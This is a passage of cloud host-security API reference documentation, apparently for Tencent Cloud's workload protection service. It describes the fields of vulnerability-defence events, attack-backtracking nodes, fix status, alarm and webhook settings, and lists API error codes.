Address	String	Request destination address, which is effective when the node type is network. Note: This field may return null, indicating that no valid values can be obtained.
DstPort	Integer	Target port, which is effective when the node type is network. Note: This field may return null, indicating that no valid values can be obtained.
SrcIP	String	Log-in source IP, which is effective when the node type is SSH. Note: This field may return null, indicating that no valid values can be obtained.
User	String	Log-in username and user group, which is effective when the node type is SSH. Note: This field may return null, indicating that no valid values can be obtained.
VulName	String	Vulnerability name, which is effective when the node type is vulnerability. Note: This field may return null, indicating that no valid values can be obtained.
VulTime	String	Vulnerability exploitation time, which is effective when the node type is vulnerability. Note: This field may return null, indicating that no valid values can be obtained.

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HttpContent	String	HTTP request content, which is effective when the node type is vulnerability. Note: This field may return null, indicating that no valid values can be obtained.
VulSrcIP	String	Vulnerability exploiter source IP, which is effective when the node type is vulnerability. Note: This field may return null, indicating that no valid values can be obtained.
VertexId	String	Node ID Note: This field may return null, indicating that no valid values can be obtained.

VertexInfo

Attack backtracking node information

Used by actions: DescribeAlarmIncidentNodes.

Name	Type	Description
Type	Integer	Node type: process: 1; network: 2; file: 3; ssh: 4;
Vid	String	VID contained in this node
ParentVid	String	Parent node VID of this node
IsLeaf	Boolean	Whether a leaf node
ProcNamePrefix	String	Process name, used when Type=1 Note: This field may return null, indicating that no valid values can be obtained.
ProcNameMd5	String	Process name MD5, used when Type=1 Note: This field may return null, indicating that no valid values can be obtained.
CmdLinePrefix	String	Command line, used when Type=1 Note: This field may return null, indicating that no valid values can be obtained.
CmdLineMd5	String	Command line MD5, used when Type=1 Note: This field may return null, indicating that no valid values can be obtained.
FilePathPrefix	String	File path, used when Type=3 Note: This field may return null, indicating that no valid values can be obtained.
AddressPrefix	String	Request destination address, used when Type=2

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		Note: This field may return null, indicating that no valid values can be obtained.
IsWeDetect	Boolean	Whether a vulnerability node
IsAlarm	Boolean	Whether an alarm node
FilePathMd5	String	File path MD5, used when Type=3 Note: This field may return null, indicating that no valid values can be obtained.
AddressMd5	String	Request destination address MD5, used when Type=2 Note: This field may return null, indicating that no valid values can be obtained.

VulDefenceEvent

Vulnerability details

Used by actions: DescribeVulDefenceEvent.

Name	Type	Description
VulId	Integer	Vulnerability ID
VulName	String	Vulnerability name
CveId	String	CVE ID
Id	Integer	Vulnerability event ID
Quuid	String	Host QUUID
Alias	String	Host name
PrivateIp	String	Private IP address
PublicIp	String	Public IP address
EventType	Integer	0: Attack Attempt (WeDetect); 1: Successful Attack Attempt (WeDetect); 2: RASP Defense Event
SourceIp	String	Attack source IP address
City	String	City of the attack source IP address
SourcePort	Array of Integer	Attack source port
CreateTime	String	Event Creation Time

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MergeTime	String	Update Event Time
Count	Integer	Number of Occurrences
Status	Integer	Status. 0: Pending; 1: Defended; 2: Processed; 3: Ignored; 4: Deleted
UpgradeType	Integer	0: Pro Edition; 1: Ultimate Edition; 2: LH Inclusive Edition (for Lighthouse only); 3: CVM Inclusive Edition (for CVM only).
FixType	Integer	0: do not support fixing; 1: support fixing.
Uuid	String	Host UUID
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

VulDefenceEventDetail

Vulnerability details

Used by actions: DescribeDefenceEventDetail.

Name	Type	Description
VulName	String	Vulnerability name
CveId	String	CVE ID
Id	Integer	Vulnerability Event ID
Quuid	String	Host QUUID
Alias	String	Host name
PrivateIp	String	Private IP address
PublicIp	String	Public IP address
EventType	Integer	0: Attack Attempt (WeDetect); 1: Successful Attack Attempt (WeDetect); 2: RASP Defense Event
SourceIp	String	Attack source IP address
City	String	City of the attack source IP address
SourcePort	Array of Integer	Attack source port

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		Note: This field may return null, indicating that no valid values can be obtained.
CreateTime	String	Event Creation Time
MergeTime	String	Update Event Time
Count	Integer	Number of Occurrences
Status	Integer	Status. 0: Pending; 1: Defended; 2: Processed; 3: Ignored; 4: Deleted
MachineStatus	String	ONLINE OFFLINE
Description	String	Vulnerability Description Information
Fix	String	Fixing suggestion
NetworkPayload	String	Attack Payload
Pid	Integer	Associated Process PID
MainClass	String	Associated Process Main Class Name
StackTrace	String	Stack Information (Unique for RASP)
EventDetail	String	Vulnerability ID-Related Event Details (JSON array format, unique to RASP)
ExceptionPstree	String	Host Compromise Event Process Tree (JSON format, unique to WeDetect)
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

VulDefenceOverview

Vulnerability defense trend page, which includes plugin status and attack defense trends. Trends are stored in three arrays of equal length, with elements corresponding one-to-one. If a certain day is missed, there will be missing data.

Used by actions: DescribeVulDefenceOverview.

Name	Type	Description
Enable	Integer	Defense switch: 0 - disable; 1 - enable

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DefendHostCount	Integer	Number of hosts with defense enabled
ExceptionCount	Integer	Number of plugin exceptions
AttackCounts	Array of Integer	Daily attack trends Note: This field may return null, indicating that no valid values can be obtained.
DefendCounts	Array of Integer	Daily defense trends Note: This field may return null, indicating that no valid values can be obtained.
Date	Array of String	Date Note: This field may return null, indicating that no valid values can be obtained.

VulDefencePluginDetail

vulnerability defense plugin status of a single process

Used by actions: DescribeVulDefencePluginDetail.

Name	Type	Description
Pid	Integer	ID of the injected process
MainClass	String	Main class name of the injected process
Status	Integer	Plugin status. 0: injecting; 1: injection successful; 2: plugin timed out, 3: plugin exited; 4: injection failed; 5: logically deleted.
ErrorLog	String	Error log
InjectLog	String	Injection log

VulDefencePluginStatus

Host vulnerability defense plugin information

Used by actions: DescribeVulDefencePluginStatus.

Name	Type	Description
Quuid	String	Host QUUID

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Alias	String	Host alias
PrivateIp	String	Private IP address
PublicIp	String	Public IP address
Exception	Integer	Plugin status: 0 - normal; 1 - abnormal
CreateTime	String	Creation time
ModifyTime	String	Last update time

VulDefenceRangeDetail

Vulnerability defense scope details

Used by actions: DescribeVulDefenceList.

Name	Type	Description
VulName	String	Vulnerability name
Label	String	Tag
Level	Integer	Vulnerability level. 1: low-risk; 2: medium-risk; 3: high-risk; 4: critical.
CvssScore	Float	CVSS score
CveId	String	cve id
PublishTime	String	Release time
VulId	Integer	Vulnerability ID

VulDetailInfo

Vulnerability details

Used by actions: DescribeScanTaskDetails.

Name	Type	Description
VulId	Integer	Vulnerability ID

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Level	Integer	Vulnerability level
Name	String	Vulnerability name
CveId	String	CVE ID
VulCategory	Integer	1: web-cms vulnerabilities; 2: application vulnerabilities; 4: Linux software vulnerabilities; 5: Windows system vulnerabilities; 0: emergency vulnerabilities
Descript	String	Vulnerability description
Fix	String	Fixing suggestion
Reference	String	Reference link
CvssScore	Float	CVSS score
Cvss	String	CVSS details
PublishTime	String	Release time

VulEffectHostList

List of hosts affected by vulnerabilities

Used by actions: DescribeVulEffectHostList.

Name	Type	Description
EventId	Integer	Event ID Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Status. 0: pending; 1: ignored; 3: fixed; 5: detecting; 6: fixing; 7: rolling back; 8: fixing failed.Note: This field may return null, indicating that no valid values can be obtained.
LastTime	String	Last detection time Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Hazard level: 1-Low-risk; 2-Medium-risk; 3-High-risk; 4-Critical Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Host QUUID

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		Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID Note: This field may return null, indicating that no valid values can be obtained.
HostIp	String	Host IP address Note: This field may return null, indicating that no valid values can be obtained.
AliasName	String	Host alias Note: This field may return null, indicating that no valid values can be obtained.
Tags	Array of String	Host tag Note: This field may return null, indicating that no valid values can be obtained.
Description	String	Description Note: This field may return null, indicating that no valid values can be obtained.
HostVersion	Integer	Edition information. 0: Basic Edition; 1: Pro Edition; 2: Ultimate Edition; 3: Inclusive Edition.Note: This field may return null, indicating that no valid values can be obtained.
IsSupportAutoFix	Integer	Whether automatic fixing is supported. 0: not supported; 1: supported; 2: client offline; 3: manual fixing supported for Ultimate Edition hosts; 4: not supported for this model; 5: fixing, 6: fixed; 7: detecting; 9: fixing failed; 10: ignored; 11: supported for Linux but not Windows; 12: supported for Windows but not Linux; 13: fixing failed but host is offline; 14: fixing failed but host is not of the Ultimate edition; 15: manually fixed.Note: This field may return null, indicating that no valid values can be obtained.
FixStatusMsg	String	Failure cause Note: This field may return null, indicating that no valid values can be obtained.
FirstDiscoveryTime	String	First detection time Note: This field may return null, indicating that no valid values can be obtained.
InstanceState	String	Instance status. "PENDING": creating; "LAUNCH_FAILED" : creation failed; "RUNNING": running; "STOPPED": shut down; "STARTING": starting; "STOPPING": shutting down;

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		"REBOOTING": restarting; "SHUTDOWN": shut down and pending termination; "TERMINATING": terminating.Note: This field may return null, indicating that no valid values can be obtained.
PublicIpAddresses	String	Public IP address Note: This field may return null, indicating that no valid values can be obtained.
CloudTags	Array of Tags	Cloud tag information Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Host additional information Note: This field may return null, indicating that no valid values can be obtained.

VulEffectModuleInfo

Details of components affected by vulnerabilities

Used by actions: DescribeVulEffectModules.

Name	Type	Description
Name	String	Component name
Uuids	Array of String	Affected host uuid
Rule	String	Affected component version
Path	String	Component path
Version	String	Component version
FixCmd	String	Fix Command
Quuids	Array of String	Affected host quuid

VulEmergentMsgInfo

Emergency notification entity

Used by actions: DescribeVulEmergentMsg.

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Name	Type	Description
VulId	Integer	Vulnerability ID
PublishTime	String	Vulnerability publish time
Name	String	Vulnerability name

VulFixStatusHostInfo

View the fixing status of each vulnerability on each host.

Used by actions: DescribeVulFixStatus.

Name	Type	Description
HostName	String	Host name
HostIp	String	Host IP
Quuid	String	Host QUUID
Status	Integer	Status. 0: initial status; 1: task issued (fixing); 2: completed (successful); 3: fixing failed (failed); 4: fixing failed due to snapshot creation failure (unfixed).
ModifyTime	String	Fixing time
FailReason	String	Fixing failure cause Note: This field may return null, indicating that no valid values can be obtained.

VulFixStatusInfo

View vulnerability fixing details

Used by actions: DescribeVulFixStatus.

Name	Type	Description
VulId	Integer	Vulnerability ID Note: This field may return null, indicating that no valid values can be obtained.
VulName	String	Vulnerability name Note: This field may return null, indicating that no valid values

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		can be obtained.
Progress	Integer	Vulnerability fixing progress: 1-100;
HostList	Array of VulFixStatusHostInfo	Vulnerability fixing status for corresponding hosts Note: This field may return null, indicating that no valid values can be obtained.
FailCnt	Integer	Number of hosts with failed vulnerability fixing Note: This field may return null, indicating that no valid values can be obtained.
FixSuccessCnt	Integer	Number of hosts with successful vulnerability fixing Note: This field may return null, indicating that no valid values can be obtained.
FixMethod	Integer	

VulFixStatusSnapshotInfo

Machine snapshot information

Used by actions: DescribeVulFixStatus.

Name	Type	Description
Quuid	String	cvm id
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
HostIp	String	Host IP address Note: This field may return null, indicating that no valid values can be obtained.
SnapshotName	String	Snapshot name Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Snapshot creation time Note: This field may return null, indicating that no valid values can be obtained.
SnapshotId	String	Snapshot ID Note: This field may return null, indicating that no valid values can be obtained.
Id	Integer	Unique record ID
Status	Integer	Snapshot status. 0: initial; 1: created successfully; 2: creation failed.

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FailReason	String	Snapshot creation failure reason Note: This field may return null, indicating that no valid values can be obtained.

VulHostTopInfo

Top 5 server risk entities

Used by actions: DescribeVulHostTop.

Name	Type	Description
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
VulLevelList	Array of VulLevelCountInfo	Vulnerability level and quantity statistics list Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Host QUUID Note: This field may return null, indicating that no valid values can be obtained.
Score	Integer	Top ratings Note: This field may return null, indicating that no valid values can be obtained.

VulInfoByCveId

Query vulnerability details by cve_id

Used by actions: DescribeVulCveIdInfo.

Name	Type	Description
VulId	Integer	Vulnerability ID
FixSwitch	Integer	Repair Support Status. 0-Neither Windows nor Linux supports for repair; 1-Both Windows and Linux support for repair; 2-Only Linux supports for repair; 3-Only Windows supports for repair.

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VulInfoHostInfo

Fix vulnerability second popup in batch

Used by actions: DescribeCanFixVulMachine.

Name	Type	Description
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
HostIp	String	Host IP Note: This field may return null, indicating that no valid values can be obtained.
Tags	Array of String	Host tag Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Host QUUID Note: This field may return null, indicating that no valid values can be obtained.
IsSupportAutoFix	Integer	0 - the vulnerability cannot be fixed automatically; 1 - the vulnerability can be fixed automatically; 2 - the client has been offline; 3 - the host is not the ultimate edition and can only be fixed manually; 4 - the model does not allow automatic fix; 5 - fixing; 6 - fixed; 7 - under detection; 9 - fix failed; 10 - ignored; 11 - the vulnerability is supported only on Linux, not on Windows; 12 - the vulnerability is supported only on Windows, not on Linux. Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID Note: This field may return null, indicating that no valid values can be obtained.
InstanceId	String	Host InstanceId Note: This field may return null, indicating that no valid values can be obtained.

VulInfoList

Vulnerability list on the vulnerability management page of CWPP

Used by actions: DescribeVulList.

Name	Type	Description
Ids	String	IDs of events corresponding to a vulnerability, separated by commas (,)

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Name	String	Vulnerability name
Status	Integer	0: pending; 1: ignored; 3: fixed; 5: detecting; 6: fixing; 8: fixing failed
VulId	Integer	Vulnerability ID
PublishTime	String	Vulnerability disclosure time
LastTime	String	Last detection time
HostCount	Integer	Number of affected hosts
Level	Integer	Vulnerability level. 1: low-risk; 2: medium-risk; 3: high-risk; 4: critical.
From	Integer	This field has been deprecated. Note: This field may return null, indicating that no valid values can be obtained.
Descript	String	Description Note: This field may return null, indicating that no valid values can be obtained.
PublishTimeWisteria	String	This field has been deprecated. Note: This field may return null, indicating that no valid values can be obtained.
NameWisteria	String	This field has been deprecated. Note: This field may return null, indicating that no valid values can be obtained.
DescriptWisteria	String	This field has been deprecated. Note: This field may return null, indicating that no valid values can be obtained.
StatusStr	String	Event status after aggregation Note: This field may return null, indicating that no valid values can be obtained.
CveId	String	CVE ID Note: This field may return null, indicating that no valid values can be obtained.
CvssScore	Float	CVSS score Note: This field may return null, indicating that no valid values can be obtained.
Labels	String	Vulnerability tags, separated by multiple commas Note: This field may return null, indicating that no valid values can be

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		obtained.
FixSwitch	Integer	Whether automatic fixing is supported and hosts that support automatic fixing are included. 0: no; 1: yes.Note: This field may return null, indicating that no valid values can be obtained.
TaskId	Integer	ID of the last scan task Note: This field may return null, indicating that no valid values can be obtained.
IsSupportDefense	Integer	Whether defense is supported. 0: not supported; 1: supported.Note: This field may return null, indicating that no valid values can be obtained.
DefenseAttackCount	Integer	Number of attacks defended Note: This field may return null, indicating that no valid values can be obtained.
FirstAppearTime	String	First occurrence time Note: This field may return null, indicating that no valid values can be obtained.
VulCategory	Integer	Vulnerability category. 1: web CMS vulnerability; 2: application vulnerability; 4: Linux software vulnerability; 5: Windows system vulnerability.Note: This field may return null, indicating that no valid values can be obtained.
AttackLevel	Integer	Attack intensity Note: This field may return null, indicating that no valid values can be obtained.
FixNoNeedRestart	Boolean	Whether a restart is required after the vulnerability is fixed Note: This field may return null, indicating that no valid values can be obtained.
Method	Integer	Detection method. 0: version comparison; 1: POC verification.Note: This field may return null, indicating that no valid values can be obtained.

VulLevelCountInfo

Number of vulnerability levels

Used by actions: DescribeVulHostTop.

Name	Type	Description
VulLevel	Integer	Vulnerability level

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VulCount	Integer	Number of vulnerabilities

VulLevelInfo

The statistical entity representing the distribution of vulnerabilities by severity level

Used by actions: DescribeVulLevelCount.

Name	Type	Description
VulLevel	Integer	// Severity level: 1 - low-risk; 2 - medium-risk; 3 - high-risk; 4 - critical
Count	Integer	Quantity

VulOverview

Vulnerability overview

Used by actions: DescribeVulOverview.

Name	Type	Description
TotalCount	Integer	Total number
TodayCount	Integer	Number of new key-value pairs today

VulStoreListInfo

Information on the vulnerability database list

Used by actions: DescribeHotVulTop, DescribeVulStoreList.

Name	Type	Description
VulId	Integer	Vulnerability ID
Level	Integer	Vulnerability level
Name	String	Vulnerability name
CveId	String	CVE ID

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VulCategory	Integer	1: web-cms vulnerabilities; 2: application vulnerabilities; 4: Linux software vulnerabilities; 5: Windows system vulnerabilities; 0: emergency vulnerabilities.
PublishDate	String	Release time
Method	Integer	Vulnerability Detection Method: 0 - Version Comparison, 1 - POC Verification
AttackLevel	Integer	Vulnerability attack level
FixSwitch	Integer	Whether automatic vulnerability fixing is supported 0: not supported on Windows/Linux; 1: supported on Windows/Linux; 2: supported on Linux only; 3: supported on Windows only.
SupportDefense	Integer	Whether defense against vulnerabilities is supported 0: not supported; 1: supported.

VulTopInfo

The statistical entity representing top vulnerabilities

Used by actions: DescribeVulTop.

Name	Type	Description
VulName	String	Vulnerability name Note: This field may return null, indicating that no valid values can be obtained.
VulLevel	Integer	Hazard level: 1-Low-risk; 2-Medium-risk; 3-High-risk; 4-Critical Note: This field may return null, indicating that no valid values can be obtained.
VulCount	Integer	Number of vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
VulId	Integer	Vulnerability ID Note: This field may return null, indicating that no valid values can be obtained.

WarningInfoObj

List of alarm settings

Used by actions: DescribeWarningList.

Name	Type	Description

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Type	Integer	Event alarm type. 1: offline; 2: Trojan; 3: abnormal log-in; 4: brute force cracking; 5: vulnerability (including types of values 9, 10, 11, and 12); 6: high-risk command; 7: reverse shell; 8: local privilege escalation; 9: application vulnerability; 10: web CMS vulnerability; 11: emergency vulnerability; 12: security baseline; 13: tampering prevention; 14: malicious request; 15: network attack; 16: Windows system vulnerability; 17: Linux software vulnerability; 18: core file monitoring; 19: client uninstallation; 20: client offline.
DisablePhoneWarning	Integer	1: disable alarm; 0: enable alarm
BeginTime	String	Start time. Format: HH:mm.
EndTime	String	End time. Format: HH:mm.
TimeZone	String	Time zone information
ControlBit	Integer	Vulnerability level control bit (corresponding to the decimal storage in the database)
ControlBits	String	Vulnerability level control bits in binary. Each bit indicates the enabling status of the corresponding vulnerability level on the page: low, medium, and high (0: disabled; 1: enabled). For example, 101 indicates that both low and high levels are enabled.
HostRange	Integer	Alarm Host Range Type. 0: All Hosts; 1: By Project; 2: By Tencent Cloud Tag; 3: By Host Security Tag; 4: Custom Hosts Note: This field may return null, indicating that no valid values can be obtained.
Count	Integer	Configured Number of Hosts in the Range of Alarm, used by the frontend to decide when to display prompt information. Note: This field may return null, indicating that no valid values can be obtained.

WarningObject

Parameters used to update alarms or inserted into alarms

Used by actions: ModifyWarningSetting.

Name	Type	Required	Description
Type	Integer	No	Event Alarm Type. 1: Offline; 2: Trojan; 3: Exceptional login; 4: Brute force; 5: Vulnerability (split into four types ranging

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			from 9 to 12); 6: High-risk command; 7: Reverse sell; 8: Local privilege escalation;, 9: System component vulnerabilities; 10: Web application vulnerabilities; 11: Emergency vulnerabilities; 12: Security baseline; 14: Malicious request; 15: Network attack; 16: Windows system vulnerabilities; 17: Linux software vulnerabilities
DisablePhoneWarning	Integer	No	1: disable alarm; 0: enable alarm.
BeginTime	String	No	Start time. Format: HH:mm.
EndTime	String	No	End time. Format: HH:mm.
ControlBits	String	No	1. Vulnerability level control bits in binary. Each bit corresponds to the vulnerability level enabling status on the corresponding page. Level: low, medium, high (0: disabled; 1: enabled). Example: 101, indicating both the low and high levels are enabled. 2. Brute force cracking control bits in binary. 01: notify upon successful brute force cracking; 10: notify upon brute force cracking failure.
HostRange	Integer	No	Alarm Host Range Type. 0: All Hosts; 1: By Project; 2: By Tencent Cloud Tag; 3: By Host Security Tag; 4: Custom Hosts

WebHookCustomField

Custom passthrough field structure

Used by actions: DescribeWebHookPolicy, ModifyWebHookPolicy.

Name	Type	Required	Description
Key	String	Yes	key Note: This field may return null, indicating that no valid values can be obtained.
Value	String	Yes	value Note: This field may return null, indicating that no valid values can be obtained.

WebHookEventKv

Enterprise WeChat Robot Event Types

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Used by actions: DescribeWebHookPolicy, DescribeWebHookRule, DescribeWebHookRules, ModifyWebHookPolicy, ModifyWebHookRule.

Name	Type	Required	Description
Type	Integer	Yes	Event type
ControlBit	String	Yes	Event content

WebHookHostLabel

Enterprise WeChat Robot Host Range

Used by actions: DescribeWebHookPolicy, DescribeWebHookRule, DescribeWebHookRules, ModifyWebHookPolicy, ModifyWebHookRule.

Name	Type	Required	Description
Type	Integer	Yes	Host Range [1: Project |2: Tencent Cloud Tag | 3: Host Security Tag | 4: Optional] Empty array means all.
Values	Array of String	Yes	Host Project or Tag Content

WebHookPolicy

Policy

Used by actions: DescribeWebHookPolicy.

Name	Type	Description
Id	Integer	id Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Policy name Note: This field may return null, indicating that no valid values can be obtained.
Events	Array of WebHookEventKv	Event type Note: This field may return null, indicating that no valid values can be obtained.

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HostLabels	Array of WebHookHostLabel	Host range Note: This field may return null, indicating that no valid values can be obtained.
Receivers	Array of WebHookReceiver	Recipient Note: This field may return null, indicating that no valid values can be obtained.
Format	Integer	Format. 0: text; 1: JSON. Note: This field may return null, indicating that no valid values can be obtained.
CustomFields	Array of WebHookCustomField	Custom passthrough field Note: This field may return null, indicating that no valid values can be obtained.
IsDisabled	Integer	Enable/Disable [1-Disable, 0-Enable] Note: This field may return null, indicating that no valid values can be obtained.
Quuids	Array of String	Host list Note: This field may return null, indicating that no valid values can be obtained.
HostCount	Integer	Number of hosts Note: This field may return null, indicating that no valid values can be obtained.

WebHookReceiver

Alarm recipient

Used by actions: DescribeWebHookPolicy, DescribeWebHookReceiver, DescribeWebHookReceiverUsage, ModifyWebHookPolicy.

Name	Type	Required	Description
Id	Integer	No	id Note: This field may return null, indicating that no valid values can be obtained.
Name	String	No	Recipient name Note: This field may return null, indicating that no valid values can be obtained.

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Addr	String	No	Webhook URL Note: This field may return null, indicating that no valid values can be obtained.

WebHookReceiverUsage

Usage information on associated policies of the alarm recipient

Used by actions: DescribeWebHookReceiverUsage.

Name	Type	Description
ReceiverId	Integer	Recipient ID Note: This field may return null, indicating that no valid values can be obtained.
ReceiverName	String	Recipient name Note: This field may return null, indicating that no valid values can be obtained.
PolicyName	String	Policy name Note: This field may return null, indicating that no valid values can be obtained.

WebHookRuleDetail

Enterprise WeChat Robot Rule Details

Used by actions: DescribeWebHookRule, ModifyWebHookRule.

Name	Type	Required	Description
RuleName	String	Yes	Rule name
HookAddr	String	Yes	Chatbot address
RuleItems	Array of WebHookEventKv	Yes	Event type
RuleId	Integer	No	Rule ID
RuleRemark	String	No	Remarks
HostLabels	Array of WebHookHostLabel	No	Host scope
HostIds	Array of String	No	Host ID List
IsDisabled	Integer	No	Whether it is disabled [1: disabled|0: enabled]

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WebHookRuleSummary

Enterprise WeChat Robot Rule Summary

Used by actions: DescribeWebHookRules.

Name	Type	Description
RuleId	Integer	Rule ID
RuleName	String	Rule name
HookAddr	String	Robot Address
RuleRemark	String	Remarks
RuleItems	Array of WebHookEventKv	Event type
HostLabels	Array of WebHookHostLabel	Host range
IsDisabled	Integer	Enable/Disable [1-Disable, 0-Enable]
CreateTime	String	Creation time
UpdateTime	String	Update time
HostCount	Integer	Number of hosts

ZoneInfo

Availability zone information

Used by actions: DescribeBanRegions.

Name	Type	Description
ZoneName	String	Availability zone name

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Error Codes

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Feature Description

If there is an Error field in the response, it means that the API call failed. For example:

```
{
"Response": {
"Error": {
"Code": "AuthFailure.SignatureFailure",
"Message": "The provided credentials could not be validated. Please check your si
gnature is correct."
},
"RequestId": "ed93f3cb-f35e-473f-b9f3-0d451b8b79c6"
}
}
```

Code in Error indicates the error code, and Message indicates the specific information of the error.

Error Code List

Common Error Codes

Error Code	Description
ActionOffline	This API has been deprecated.
AuthFailure.InvalidAuthorization	`Authorization` in the request header is invalid.
AuthFailure.InvalidSecretId	Invalid key (not a TencentCloud API key type).
AuthFailure.MFAFailure	MFA failed.
AuthFailure.SecretIdNotFound	Key does not exist. Check if the key has been deleted or disabled in the console, and if not, check if the key is correctly entered. Note that whitespaces should not exist before or after the key.
AuthFailure.SignatureExpire	Signature expired. Timestamp and server time cannot differ by more than five minutes. Please

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	ensure your current local time matches the standard time.
AuthFailure.SignatureFailure	Invalid signature. Signature calculation error. Please ensure you've followed the signature calculation process described in the Signature API documentation.
AuthFailure.TokenFailure	Token error.
AuthFailure.UnauthorizedOperation	The request is not authorized. For more information, see the CAM documentation.
DryRunOperation	DryRun Operation. It means that the request would have succeeded, but the DryRun parameter was used.
FailedOperation	Operation failed.
InternalError	Internal error.
InvalidAction	The API does not exist.
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
InvalidRequest	The multipart format of the request body is incorrect.
IpInBlacklist	Your IP is in uin IP blacklist.
IpNotInWhitelist	Your IP is not in uin IP whitelist.
LimitExceeded	Quota limit exceeded.
MissingParameter	A parameter is missing.
NoSuchProduct	The product does not exist.
NoSuchVersion	The API version does not exist.
RequestLimitExceeded	The number of requests exceeds the frequency limit.
RequestLimitExceeded.GlobalRegionUinLimitExceeded	Uin exceeds the frequency limit.
RequestLimitExceeded.IPLimitExceeded	The number of ip requests exceeds the frequency limit.
RequestLimitExceeded.UinLimitExceeded	The number of uin requests exceeds the frequency

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	limit.
RequestSizeLimitExceeded	The request size exceeds the upper limit.
ResourceInUse	Resource is in use.
ResourceInsufficient	Insufficient resource.
ResourceNotFound	The resource does not exist.
ResourceUnavailable	Resource is unavailable.
ResponseSizeLimitExceeded	The response size exceeds the upper limit.
ServiceUnavailable	Service is unavailable now.
UnauthorizedOperation	Unauthorized operation.
UnknownParameter	Unknown parameter.
UnsupportedOperation	Unsupported operation.
UnsupportedProtocol	HTTP(S) request protocol error; only GET and POST requests are supported.
UnsupportedRegion	API does not support the requested region.

Service Error Codes

Error Code	Description
AuthFailure	CAM signature/authentication error.
FailedOperation.APIServerFail	Failed to invoke the API service.
FailedOperation.AgentOffline	The client is offline.
FailedOperation.Export	Failed to export the file.
FailedOperation.LicenseExceeded	Insufficient available licenses, missing 1 license. Purchase a new license.
FailedOperation.MachineDelete	Uninstall the host.
FailedOperation.NoProfessionHost	No Pro Edition host.
FailedOperation.PartSeparate	Isolation of multiple hosts partially or completely failed.
FailedOperation.Recover	Failed to respond to the Trojan.

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FailedOperation.RescanVul	Failed to double-check the vulnerability.
FailedOperation.SingleSeparate	Isolation of a single host failed.
FailedOperation.TooManyStrategy	The maximum number for baseline policy creation is exceeded.
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.IpNoValid	The IP format is invalid.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.NameHasRepetition	The name already exists.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.PortNoValid	Invalid port format.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameter.ReverShellKeyFieldAllEmpty	Process name/target IP/target port cannot be left blank simultaneously.
InvalidParameter.RuleHostDuplicateErr	Rule-based API with duplicate hosts.
InvalidParameter.RuleHostipErr	Rule-based API with incorrect host IPs.
InvalidParameterValue.TagNameLengthLimit	The tag name cannot exceed 15 characters.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
OperationDenied	The operation was denied.
ResourceNotFound.MachineNotFound	The scanning machine does not exist.

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